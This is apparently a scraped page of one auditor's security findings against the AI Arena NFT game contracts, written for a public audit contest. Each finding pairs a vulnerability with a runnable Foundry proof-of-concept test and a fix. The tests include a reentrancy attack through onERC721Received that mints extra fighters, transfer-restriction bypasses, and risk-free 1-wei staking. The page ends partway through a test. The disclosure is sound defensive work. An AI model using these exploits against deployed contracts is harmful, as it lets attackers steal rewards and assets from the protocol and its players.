AI Arena - evmboi32's results

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L338 https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L355

Vulnerability details

Impact

A fighter NFT can be transferred if staked which should not be the case and could cause all sorts of trouble.

Proof of Concept

The ERC721 standard includes 3 transfer functions:

• transferFrom(address,address,uint256)
• safeTransferFrom(address,address,uint256)
• safeTransferFrom(address,address,uint256,bytes)

The last function safeTransferFrom(address,address,uint256,bytes) is not accounted for in the FighterFarm contract and can be used to transfer the fighter even if staked.

Add test to FighterFarm.t.sol and run with forge test --match-path ./test/FighterFarm.t.sol -vvv

function testCanTransferWhileStaked() public {
    address player = vm.addr(3);
    
    // Mint a nft to the owner.
    _mintFromMergingPool(player);

    // Owner updates staking to true
    _fighterFarmContract.addStaker(_ownerAddress);
    _fighterFarmContract.updateFighterStaking(0, true);
    assertEq(_fighterFarmContract.fighterStaked(0), true);

    // This should fail as it is overridden and prevents transfer
    vm.expectRevert();
    vm.prank(player);
    _fighterFarmContract.transferFrom(player, _DELEGATED_ADDRESS, 0);
    assertEq(_fighterFarmContract.ownerOf(0) != _DELEGATED_ADDRESS, true);
    assertEq(_fighterFarmContract.ownerOf(0), player);

    // This is not overriden and should allow transfer of nft
    vm.prank(player);
    _fighterFarmContract.safeTransferFrom(player, _DELEGATED_ADDRESS, 0, "");
    assertEq(_fighterFarmContract.ownerOf(0), _DELEGATED_ADDRESS);
    assertEq(_fighterFarmContract.fighterStaked(0), true);
}

Tools Used

Manual review

Recommended Mitigation Steps

Override the missing function in the FighterFarm contract.

function safeTransferFrom(
    address from,
    address to,
    uint256 tokenId,
    bytes memory data
)
    public
    override(ERC721, IERC721)
{
    require(_ableToTransfer(tokenId, to));
    _safeTransfer(from, to, tokenId, data);
}

Assessed type

ERC721

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/GameItems.sol#L291

Vulnerability details

Impact

GameItems can be transferable even if the admin sets transferable = false

Proof of Concept

The ERC1155 standard has 2 transfer functions:

• safeTransferFrom
• safeBatchTransferFrom

The safeBatchTransferFrom is not overridden in the GameItems contract and can be used to transfer items that should be non-transferable.

Coded POC

Add this test to GameItems.t.sol and run with forge test --match-path ./test/GameItems.t.sol -vvv

function testSafeTransferFromWorkWhenLocked() public {
    _fundUserWith4kNeuronByTreasury(_ownerAddress);

    _gameItemsContract.mint(0, 2);

    // Set transferability to false
    _gameItemsContract.adjustTransferability(0, false);
    (,, bool transferable,,,) = _gameItemsContract.allGameItemAttributes(0);
    assertEq(transferable, false);

    // Calling safeTransferFrom reverts as expected
    vm.expectRevert();
    _gameItemsContract.safeTransferFrom(_ownerAddress, _DELEGATED_ADDRESS, 0, 1, "");

    // Check balances
    assertEq(_gameItemsContract.balanceOf(_DELEGATED_ADDRESS, 0), 0);
    assertEq(_gameItemsContract.balanceOf(_ownerAddress, 0), 2);

    // SAFE TRANSFER WITH BATCH
    uint256[] memory ids = new uint256[](1);
    uint256[] memory amounts = new uint256[](1);

    ids[0] = 0;
    amounts[0] = 2;

    // This allows the transfer to happen
    _gameItemsContract.safeBatchTransferFrom(_ownerAddress, _DELEGATED_ADDRESS, ids, amounts, "");
    assertEq(_gameItemsContract.balanceOf(_DELEGATED_ADDRESS, 0), 2);
    assertEq(_gameItemsContract.balanceOf(_ownerAddress, 0), 0);

    (,, transferable,,,) = _gameItemsContract.allGameItemAttributes(0);
    assertEq(transferable, false);
}

Tools Used

Manual review

Recommended Mitigation Steps

Override the safeBatchTransferFrom in the GameItems

function safeBatchTransferFrom(
    address from,
    address to,
    uint256[] memory ids,
    uint256[] memory amounts,
    bytes memory data
)
    public
    override(ERC1155)
{
    for(uint i = 0; i < ids.length; i++) {
        require(allGameItemAttributes[ids[i]].transferable);
    }
    super.safeBatchTransferFrom(from, to, ids, amounts, data);
}

Assessed type

Other

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L233-L262 https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L510-L514 https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/AiArenaHelper.sol#L108

Vulnerability details

Impact

Mint pass holders can copy other players' fighters' dna. This would allow him to choose a DNA that fits him best. Could be best attributes or any attributes he wants. This takes away a random element that dna should provide.

Proof of Concept

A holder of the mint pass can redeem a fighter by calling the redeemMintPass function. This will burn the mintPass and mint a fighter.

function redeemMintPass(
    uint256[] calldata mintpassIdsToBurn,
    uint8[] calldata fighterTypes,
    uint8[] calldata iconsTypes,
    string[] calldata mintPassDnas,
    string[] calldata modelHashes,
    string[] calldata modelTypes
)
    external
{
    ...
    for (uint16 i = 0; i < mintpassIdsToBurn.length; i++) {
        require(msg.sender == _mintpassInstance.ownerOf(mintpassIdsToBurn[i]));
        _mintpassInstance.burn(mintpassIdsToBurn[i]);

        _createNewFighter(
            msg.sender,
            uint256(keccak256(abi.encode(mintPassDnas[i]))),         <- HERE
            modelHashes[i],
            modelTypes[i],
            fighterTypes[i],
            iconsTypes[i],
            [uint256(100), uint256(100)]
        );
    }
}

A problem is that the mintPassDnas parameter can be arbitrarily chosen by a mint pass holder. He could observe an on-chain transaction and find the best dna that other fighters use. He could even mint more fighters with the same exact dna. This allows a mint pass holder to copy other NFTs at will.

Tools Used

Manual review

Recommended Mitigation Steps

Since dna ranges from 0-2^256-1 it would make sense to track all of the already used dnas and require that the dna used is unique.

Assessed type

Invalid Validation

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L233-L240 https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L252 https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L510 https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/AiArenaHelper.sol#L100-L104

Vulnerability details

Impact

Users can choose any icons when redeeming a mint pass. The icons should represent a rare subset of champions so they should not be arbitrarily chosen by a user redeeming a mint pass.

Proof of Concept

When using a mint pass to create a new fighter a user can pass any values as iconsTypes that can be used to get special attributes. This shouldn't be the case as the icons should be granted by an admin.

function redeemMintPass(
    uint256[] calldata mintpassIdsToBurn,
    uint8[] calldata fighterTypes,
    uint8[] calldata iconsTypes,
    string[] calldata mintPassDnas,
    string[] calldata modelHashes,
    string[] calldata modelTypes
)
    external
{
    ...
    for (uint16 i = 0; i < mintpassIdsToBurn.length; i++) {
        require(msg.sender == _mintpassInstance.ownerOf(mintpassIdsToBurn[i]));
        _mintpassInstance.burn(mintpassIdsToBurn[i]);

        _createNewFighter(
            msg.sender,
            uint256(keccak256(abi.encode(mintPassDnas[i]))),
            modelHashes[i],
            modelTypes[i],
            fighterTypes[i],
            iconsTypes[i],
            [uint256(100), uint256(100)]
        );
    }
}

This will allow the users to choose any of the predefined special icons.

function createPhysicalAttributes(
    uint256 dna,
    uint8 generation,
    uint8 iconsType,
    bool dendroidBool
)
    external
    view
    returns (FighterOps.FighterPhysicalAttributes memory)
{
    if (dendroidBool) {
        return FighterOps.FighterPhysicalAttributes(99, 99, 99, 99, 99, 99);
    } else {
        ...
        for (uint8 i = 0; i < attributesLength; i++) {
            if (
              i == 0 && iconsType == 2 || // Custom icons head (beta helmet)    <- HERE
              i == 1 && iconsType > 0 || // Custom icons eyes (red diamond)     <- HERE
              i == 4 && iconsType == 3 // Custom icons hands (bowling ball)     <- HERE
            ) {
                finalAttributeProbabilityIndexes[i] = 50;
            } else {
                ...
            }
        }
        ...
    }
}

Tools Used

Manual review

Recommended Mitigation Steps

Check if a user is allowed to use the provided icons when redeeming a mint pass. The values should be stored in the mint pass and then checked against in the redeemMintPass function.

Assessed type

Invalid Validation

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L233-L262

Vulnerability details

Impact

A user can mint either a champion or dendroid by will when redeeming a mintPass. The mintPasses are minted based on the fighterType and should not let the user decide which type of a fighter he wants to mint because he will always opt for a dendroid as it is rarer.

Proof of Concept

When using a mint pass to create a fighter user calls a redeemMintPass function. The array fighterTypes is not checked against the mintPass to see if the fighterType matches the type of a fighter the mint pass was minted for.

function redeemMintPass(
    uint256[] calldata mintpassIdsToBurn,
    uint8[] calldata fighterTypes,
    uint8[] calldata iconsTypes,
    string[] calldata mintPassDnas,
    string[] calldata modelHashes,
    string[] calldata modelTypes
)
    external
{
    require(
        mintpassIdsToBurn.length == mintPassDnas.length &&
        mintPassDnas.length == fighterTypes.length &&
        fighterTypes.length == modelHashes.length &&
        modelHashes.length == modelTypes.length
    );

    for (uint16 i = 0; i < mintpassIdsToBurn.length; i++) {
        require(msg.sender == _mintpassInstance.ownerOf(mintpassIdsToBurn[i]));
        _mintpassInstance.burn(mintpassIdsToBurn[i]);

        _createNewFighter(
            msg.sender,
            uint256(keccak256(abi.encode(mintPassDnas[i]))),
            modelHashes[i],
            modelTypes[i],
            fighterTypes[i],
            iconsTypes[i],
            [uint256(100), uint256(100)]
        );
    }
}

Tools Used

Manual review

Recommended Mitigation Steps

Check that the fighterType that user wants to mint is the same type of fighter a mint pass was minted for.

Assessed type

Invalid Validation

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L370 https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L383-L388 https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L372 https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/AiArenaHelper.sol#L108 https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/AiArenaHelper.sol#L174

Vulnerability details

Impact

Users could reroll a fighter more times than it is allowed for a fighterType or use probabilities for attributes from a previous generation which could allow them to get rare items with a higher probability.

Proof of Concept

When rerolling a fighter the fighterType is not checked to be the same as the fighterType of the tokenId the user wants to re-roll. This has two main problems.

function reRoll(uint8 tokenId, uint8 fighterType) public {
    ...
    require(numRerolls[tokenId] < maxRerollsAllowed[fighterType]);  <- HERE
    ...
    _neuronInstance.approveSpender(msg.sender, rerollCost);
    bool success = _neuronInstance.transferFrom(msg.sender, treasuryAddress, rerollCost);
    if (success) {
        ...
        fighters[tokenId].physicalAttributes = _aiArenaHelperInstance.createPhysicalAttributes(
            newDna,
            generation[fighterType],      <- HERE
            fighters[tokenId].iconsType,
            fighters[tokenId].dendroidBool
        );

        _tokenURIs[tokenId] = "";
    }
}

Let's say that champions can get more rerolls as dendroids. eg.

maxRerollsAllowed[0] = 5
maxRerollsAllowed[1] = 2

A user can intentionally pass the fighterType as 0 when rerolling a dendroid and reroll 5 times, as this will be comparing the tokenId which is a dendroid to a champion roll limit.

require(numRerolls[tokenId] < maxRerollsAllowed[fighterType]);

The second issue would be that a user could use probabilities from a previous generation as they may give him a better chance of receiving better items in a new generation. Consider the following scenario.

generation[0] = 1; // champions generation is 1
generation[1] = 0; // dendorid generation still at 0

The call to createPhysicalAttributes will further invoke dnaToIndex function. This will get the attrProbabilites by generation. If there are any new items in a generation a user could use the probabilities from a previous generation that could allow him to get rare items with more probability.

If he passes fighterType as 1 when calling reroll function for a champion (fighterType 0) the generation passed to the dnaToIndex will be 0 (as this is a current generation for the fighterType 1) and probabilities will be retrieved for a generation 0 although the champion generation is already at generation 1 and should instead use the probabilities for a new generation.

function dnaToIndex(uint256 generation, uint256 rarityRank, string memory attribute)
    public
    view
    returns (uint256 attributeProbabilityIndex)
{
    // <- RETREIVED FOR AN OLDER GENERATION AS THE generation param = 0
    uint8[] memory attrProbabilities = getAttributeProbabilities(generation, attribute);

    uint256 cumProb = 0;
    uint256 attrProbabilitiesLength = attrProbabilities.length;
    for (uint8 i = 0; i < attrProbabilitiesLength; i++) {
        cumProb += attrProbabilities[i];
        if (cumProb >= rarityRank) {
            attributeProbabilityIndex = i + 1;
            break;
        }
    }

    return attributeProbabilityIndex;
}

Example

gen0 items = ["normal helmet", "vintage helmet", ...]
gen0 prob = [30, 10, ...]

gen1 items = ["super rare helmet", "hat", ...]
gen1 prob = [1, 30, ...]

The probability of getting a "super rare helmet" in gen 1 should be 1 in a 100. But if the user can use probability values from gen0 the probability will increase to 30 in a 100.

Tools Used

Manual review

Recommended Mitigation Steps

Instead of letting the user pass the fighterType into a function, retrieve fighterType directly from the nft.

-   /// @param fighterType The fighter type.
-   function reRoll(uint8 tokenId, uint8 fighterType) public {
+   function reRoll(uint8 tokenId) public {
+       uint8 fighterType = 0;
+       if(fighters[tokenId].dendroidBool)
+           fighterType = 1;
        ...
    }

Assessed type

Invalid Validation

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/RankedBattle.sol#L245 https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/RankedBattle.sol#L258 https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/RankedBattle.sol#L519-L534 https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/RankedBattle.sol#L440-L472 https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/RankedBattle.sol#L472-L499

Vulnerability details

Impact

A user could stake as little as 1 wei of NRN token and still receive points with 1x multiplier in case of a win. In case he loses he will only risk 1 wei of NRN which is basically $0 so he can earn points risk-free. He is stealing rewards with 0 risk.

Proof of Concept

The stakeNRN function requires a minimum amount to be staked > 0. A user could stake as little as 1 wei of NRN. The amount is added to amountStaked[tokenId] and the stakinFactor is calculated.

function stakeNRN(uint256 amount, uint256 tokenId) external {
    require(amount > 0, "Amount cannot be 0");
    ...

    if (success) {
        ...
        amountStaked[tokenId] += amount;        <- HERE
        globalStakedAmount += amount;

        stakingFactor[tokenId] = _getStakingFactor(          <- HERE
            tokenId,
            _stakeAtRiskInstance.getStakeAtRisk(tokenId)       
        );
        _calculatedStakingFactor[tokenId][roundId] = true;
        ...
    }
}

Let's take a look at how the staking factor is calculated. Looking at the code below we can see that having amountStaked[tokenId] = 1 and stakeAtRisk = 0 results in a stakingFactor_ = 0 because of the result is rounded down. In that case, the stakingFactor_ is set to a default value of 1. This means that points will be earned or lost with a 1x multiplier.

function _getStakingFactor(
    uint256 tokenId,
    uint256 stakeAtRisk
)
    private
    view
    returns (uint256)
{
  uint256 stakingFactor_ = FixedPointMathLib.sqrt(
      (amountStaked[tokenId] + stakeAtRisk) / 10**18
  );

  if (stakingFactor_ == 0) {
    stakingFactor_ = 1;
  }
  return stakingFactor_;
}

As we can see in case of a win the user will earn points. If we assume the eloFactor of 1500 (default starting value), the user will earn stakingFactor[tokenId] * eloFactor = 1 * 1500 = 1500 points while having only 1 wei of NRN stake (zero risk in case of a loss)

if (battleResult == 0) {
    if (stakeAtRisk == 0) {
        points = stakingFactor[tokenId] * eloFactor;       <- HERE
    }

    uint256 mergingPoints = (points * mergingPortion) / 100;
    points -= mergingPoints;
    _mergingPoolInstance.addPoints(tokenId, mergingPoints);

    if (curStakeAtRisk > stakeAtRisk) {
        curStakeAtRisk = stakeAtRisk;
    }

    if (curStakeAtRisk > 0) {
        ...
    }

    accumulatedPointsPerFighter[tokenId][roundId] += points;
    accumulatedPointsPerAddress[fighterOwner][roundId] += points;
    ...
}

Below we can see that if a user loses he will in fact lose points if he currently has any. But in case where he reaches 0 points, the most amount of stake he could lose is 1 wei of NRN tokens valued at $0.

else if (battleResult == 2) {
    if (curStakeAtRisk > amountStaked[tokenId]) {
        ...
    }
    if (accumulatedPointsPerFighter[tokenId][roundId] > 0) {
        /// If the fighter has a positive point balance for this round, deduct points
        points = stakingFactor[tokenId] * eloFactor;
        if (points > accumulatedPointsPerFighter[tokenId][roundId]) {
            points = accumulatedPointsPerFighter[tokenId][roundId];
        }
        accumulatedPointsPerFighter[tokenId][roundId] -= points;
        accumulatedPointsPerAddress[fighterOwner][roundId] -= points;
        ...
    } else {
        ...
    }
}

In fact, even the 1 wei cannot be lost as the current stake at risk is rounded down to 0 curStakeAtRisk = (bpsLostPerLoss * (1 + 0)) / 10**4 = 0

curStakeAtRisk = (bpsLostPerLoss * (amountStaked[tokenId] + stakeAtRisk)) / 10**4;

Coded POC

Add test to RankedBattle.t.sol and run with forge test --match-path ./test/RankedBattle.t.sol -vvv

function testStake1wei() public {
    address staker = vm.addr(3);

    // Transfer 1 wei of NRN tokens to staker
    vm.prank(_treasuryAddress);
    _neuronContract.transfer(staker, 1);
    _mintFromMergingPool(staker);

    uint256 tokenId = 0;
    uint256 roundId = 0;
    uint256 eloFactor = 1500;
    uint256 mergingPortion = 0;
    uint8 win = 0;

    // User stakes 1 wei worth of NRN
    vm.prank(staker);
    _rankedBattleContract.stakeNRN(1, tokenId);


    uint256 pointsBefore = _rankedBattleContract.accumulatedPointsPerFighter(tokenId, roundId);
    // User wins
    vm.prank(address(_GAME_SERVER_ADDRESS));
    _rankedBattleContract.updateBattleRecord(tokenId, mergingPortion, win, eloFactor, true);

    // Check the points after a win
    uint256 pointsAfter = _rankedBattleContract.accumulatedPointsPerFighter(tokenId, roundId);

    uint256 amountStaked = _rankedBattleContract.amountStaked(tokenId);
    uint256 stakeAtRisk = _stakeAtRiskContract.stakeAtRisk(roundId, tokenId);
    uint256 stakingFactor = _rankedBattleContract.stakingFactor(tokenId);

    assertEq(amountStaked, 1);
    // stakingFactor set as 1
    assertEq(stakingFactor, 1);
    assertEq(stakeAtRisk, 0);
    assertEq(pointsBefore, 0);

    // eloFactor is 1500 so the points should be 1500 if the user has 1x multiplier
    assertEq(pointsAfter, 1500);
}

Tools Used

Manual review

Recommended Mitigation Steps

Instead of letting users stake amount > 0 introduce a minimum stake amount that users would not want to lose.

Assessed type

Other

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L510 https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L470 https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L110

Vulnerability details

Impact

If generation is increased new users are unable to mint a fighter. This would result in a loss of new users and eventually the fall of the protocol as no new users can be onboarded.

Proof of Concept

Minting a new fighter is done via the _createNewFighter function call. If customAttribute == 100 the contract uses the _createFighterBase function to generate the element and weight of a fighter.

function _createNewFighter(
    address to,
    uint256 dna,
    string memory modelHash,
    string memory modelType,
    uint8 fighterType,
    uint8 iconsType,
    uint256[2] memory customAttributes
)
    private
{
    ...
    if (customAttributes[0] == 100) {
        (element, weight, newDna) = _createFighterBase(dna, fighterType);
    }
    ...
}

The _createFighterBase function will calculate the element as dna % numElements[generation[fighterType]]

function _createFighterBase(
    uint256 dna,
    uint8 fighterType
)
    private
    view
    returns (uint256, uint256, uint256)
{
    uint256 element = dna % numElements[generation[fighterType]];
    ...
}

Everything seems fine but there is a problem. The value of numElements is set in the constructor for the generation 0. If generation is increased there is no way to set the numElements for a new generation as the contract doesn't have a setter function.

The operation x % 0 in solidity reverts and no new fighters could ever be minted. The only way to mint would be to mint from a mergingPool where a user could select his own attributes. This is only available to the already active players who earn points while playing the game and are selected as a winner for a given round.

Coded POC

Add the test to FighterFarm.t.sol and run with forge test --match-path ./test/FighterFarm.t.sol -vvv.

function testNumElementsBroken() public {
    uint8 fighterType = 0;

    _fighterFarmContract.incrementGeneration(fighterType);

    // Increase a generation
    assertEq(_fighterFarmContract.generation(fighterType), 1);

    // A signature to mint a champion
    uint8[2] memory numToMint = [1, 0];
    bytes memory claimSignature = abi.encodePacked(
        hex"407c44926b6805cf9755a88022102a9cb21cde80a210bc3ad1db2880f6ea16fa4e1363e7817d5d87e4e64ba29d59aedfb64524620e2180f41ff82ca9edf942d01c"
    );
    string[] memory claimModelHashes = new string[](1);
    claimModelHashes[0] = "ipfs://bafybeiaatcgqvzvz3wrjiqmz2ivcu2c5sqxgipv5w2hzy4pdlw7hfox42m";

    string[] memory claimModelTypes = new string[](1);
    claimModelTypes[0] = "original";

    // Expect a revert because the numElements[1] is not and cannot be set by an admin
    // Panics with "Reason: panic: division or modulo by zero"
    vm.expectRevert();
    _fighterFarmContract.claimFighters(numToMint, claimSignature, claimModelHashes, claimModelTypes);
}

Tools Used

Manual review

Recommended Mitigation Steps

Add a setter function for the numElements that can be called by the owner.

Assessed type

Other

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/MergingPool.sol#L154 https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L322 https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L529

Vulnerability details

Impact

A user could re-enter claimRewards and mint more fighters than intended if they win in more than 1 round.

Proof of Concept

When rewards are claimed from the MergingPool the call to _fighterFarmInstance.mintFromMergingPool is invoked.

function claimRewards(
    string[] calldata modelURIs,
    string[] calldata modelTypes,
    uint256[2][] calldata customAttributes
)
    external
{
    ...
    uint32 lowerBound = numRoundsClaimed[msg.sender];

    for (uint32 currentRound = lowerBound; currentRound < roundId; currentRound++) {
        numRoundsClaimed[msg.sender] += 1;
        winnersLength = winnerAddresses[currentRound].length;

        for (uint32 j = 0; j < winnersLength; j++) {
            if (msg.sender == winnerAddresses[currentRound][j]) {
                _fighterFarmInstance.mintFromMergingPool(           <- HERE
                    msg.sender,
                    modelURIs[claimIndex],
                    modelTypes[claimIndex],
                    customAttributes[claimIndex]
                );
                ...
            }
        }
    }
    ...
}

This will process the fighter data and mint a fighter to the caller with the use of _safeMint function. This can be taken advantage of if the user wins in more than one round.

Let's assume the following state

numRoundsClaimed[msg.sender] = 0
roundId = 10

user won in round 2
user won in round 5

The user (smart contract in this case) calls the claimRewards to claim the 2 tokens that he won.

The numRoundsClaimed variable will be increased every round that is processed (regardless if the user won or not). When the for loop reaches the currentRound = 2 the numRoundsClaimed[msg.sender] will also be set to 2.

This will invoke the mintFromMergingPool call (as the caller won in this round) which further invokes _safeMint, which invokes a callback on the caller. The caller could execute any logic in the onERC721Received callback on his contract. He decides to call the claimRewards again.

This time the for loop will start at lowerBound = numRoundsClaimed[msg.sender] = 2 and proceed until the latest roundId(10) and in process claim the fighter won in round 5.

This will then return the execution flow back to the original call and continue the for loop (remember that we were at i = 2 before the _safeMint call). This for loop then again proceeds until the latest roundId(10) and mints another fighter when it reaches round 5.

If the user won more rounds he could mint even more fighters.

Coded POC

Add this test to MergingPool.sol, add import "forge-std/console.sol"; and run with forge test --match-path ./test/MergingPool.t.sol -vvv. Replace the existing onERC721Received function in the test file with the one provided below.

This demonstrates that a user can mint 3 fighters when in fact he only won 2.

// STATE VARIABLE
bool enableFallback = false;

function onERC721Received(address, address, uint256, bytes memory) public returns (bytes4) {
    // This variable is used to only execute this logic on the first mint callback.
    if(enableFallback) {
        enableFallback = false;

        // This can be whatever
        string[] memory _modelURIs = new string[](1);
        _modelURIs[0] = "ipfs://bafybeiaatcgqvzvz3wrjiqmz2ivcu2c5sqxgipv5w2hzy4pdlw7hfox42m";

        // This can be whatever
        string[] memory _modelTypes = new string[](1);
        _modelTypes[0] = "original";

        // This can be whatever
        uint256[2][] memory _customAttributes = new uint256[2][](1);
        _customAttributes[0][0] = uint256(1);
        _customAttributes[0][1] = uint256(80);

        // Reenter the claimRewards function
        _mergingPoolContract.claimRewards(_modelURIs, _modelTypes, _customAttributes);

    }
    // Handle the token transfer here
    return this.onERC721Received.selector;
}

function testReenterMintFromMergingPool() public {
    address player = address(this);
    address player2 = vm.addr(3);

    _mintFromMergingPool(player);
    _mintFromMergingPool(player2);

    assertEq(_fighterFarmContract.ownerOf(0), player);
    assertEq(_fighterFarmContract.ownerOf(1), player2);

    enableFallback = true;

    // Winners for the round
    uint256[] memory _winners = new uint256[](2);
    _winners[0] = 0;
    _winners[1] = 1;

    // Player won in round 0
    _mergingPoolContract.pickWinner(_winners);
    assertEq(_mergingPoolContract.isSelectionComplete(0), true);

    // Check winners
    assertEq(_mergingPoolContract.winnerAddresses(0, 0) == player, true);
    assertEq(_mergingPoolContract.winnerAddresses(0, 1) == player2, true);

    // This can be whatever
    string[] memory _modelURIs = new string[](2);
    _modelURIs[0] = "ipfs://bafybeiaatcgqvzvz3wrjiqmz2ivcu2c5sqxgipv5w2hzy4pdlw7hfox42m";
    _modelURIs[1] = "ipfs://bafybeiaatcgqvzvz3wrjiqmz2ivcu2c5sqxgipv5w2hzy4pdlw7hfox42m";

    // This can be whatever
    string[] memory _modelTypes = new string[](2);
    _modelTypes[0] = "original";
    _modelTypes[1] = "original";

    // This can be whatever
    uint256[2][] memory _customAttributes = new uint256[2][](2);
    _customAttributes[0][0] = uint256(1);
    _customAttributes[0][1] = uint256(80);
    _customAttributes[1][0] = uint256(1);
    _customAttributes[1][1] = uint256(80);

    // Player won in round 1
    _mergingPoolContract.pickWinner(_winners);

    // Player now claims rewards and reenters the claimRewards function on
    // the onERC721Received callback
    _mergingPoolContract.claimRewards(_modelURIs, _modelTypes, _customAttributes);

    // He now owns 3 extra tokens ... note that token 0 is owned by the player before the claimRewards function
    // is called. It is needed so the nft can be selected as a winner. In total he minted 3 new NFTs instead
    // of 2.
    assertEq(_fighterFarmContract.ownerOf(0), player);
    assertEq(_fighterFarmContract.ownerOf(2), player);
    assertEq(_fighterFarmContract.ownerOf(3), player);
    assertEq(_fighterFarmContract.ownerOf(4), player);

}

Tools Used

Manual review

Recommended Mitigation Steps

Use a nonReentrant modifier on the claimRewards function.

Assessed type

Reentrancy

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/MergingPool.sol#L154-L158 https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L322 https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L502-L506

Vulnerability details

Impact

A user could set arbitrary values for element or weight when calling claimRewards from a merging pool. It could allow a user to set any value as an element or weight, which could cause serious calculation issues when playing a game. If the max allowed weight is eg. 100, a user could set it to 200 and gain an advantage over other players as he can not be knocked back as much because of the heavier weight.

Proof of Concept

The user won an nft from the merging pool and calls claimRewards to mint a new fighter that he won. As you can see there is no limit to the customAttributes value and can be arbitrarily chosen by a user. The customAttributes are then passed into a mintFromMergingPool call.

function claimRewards(
    string[] calldata modelURIs,
    string[] calldata modelTypes,
    uint256[2][] calldata customAttributes
)
    external
{
    uint256 winnersLength;
    uint32 claimIndex = 0;

    uint32 lowerBound = numRoundsClaimed[msg.sender];

    for (uint32 currentRound = lowerBound; currentRound < roundId; currentRound++) {
        ...
        for (uint32 j = 0; j < winnersLength; j++) {
            if (msg.sender == winnerAddresses[currentRound][j]) {

                _fighterFarmInstance.mintFromMergingPool(         <- HERE
                    msg.sender,
                    modelURIs[claimIndex],
                    modelTypes[claimIndex],
                    customAttributes[claimIndex]
                );

                claimIndex += 1;
            }
        }
    }
    if (claimIndex > 0) {
        emit Claimed(msg.sender, claimIndex);
    }
}

This call also has no validation on the customAttributes and creates a new fighter with given attributes

function mintFromMergingPool(
    address to,
    string calldata modelHash,
    string calldata modelType,
    uint256[2] calldata customAttributes
)
    public
{
    require(msg.sender == _mergingPoolAddress);

    _createNewFighter(
        to,
        uint256(keccak256(abi.encode(msg.sender, fighters.length))),
        modelHash,
        modelType,
        0,
        0,
        customAttributes
    );
}

Since the value of customAttributes[0] != 100 it will set the element and weight to the customAttributes provided by a user that mints the nft. The user could provide values greater than 100 and use it as weight or element, which should not be the case.

function _createNewFighter(
    address to,
    uint256 dna,
    string memory modelHash,
    string memory modelType,
    uint8 fighterType,
    uint8 iconsType,
    uint256[2] memory customAttributes
)
    private
{
    ...
    if (customAttributes[0] == 100) {
        ...
    }
    else {
        element = customAttributes[0];     <- HERE
        weight = customAttributes[1];      <- HERE
        newDna = dna;
    }

   ...
}

Coded POC

Add test to the MergingPool.t.sol and run with forge test --match-path ./test/MergingPool.t.sol -vvv

function testSetArbitraryElements() public {
    address player = vm.addr(4);
    address player2 = vm.addr(5);

    _mintFromMergingPool(player);
    _mintFromMergingPool(player2);

    uint256[] memory _winners = new uint256[](2);
    _winners[0] = 0;
    _winners[1] = 1;

    // Set winners of round 0
    _mergingPoolContract.pickWinner(_winners);
    assertEq(_mergingPoolContract.isSelectionComplete(0), true);
    assertEq(_mergingPoolContract.winnerAddresses(0, 0) == player, true);

    // This can be whatever
    string[] memory _modelURIs = new string[](1);
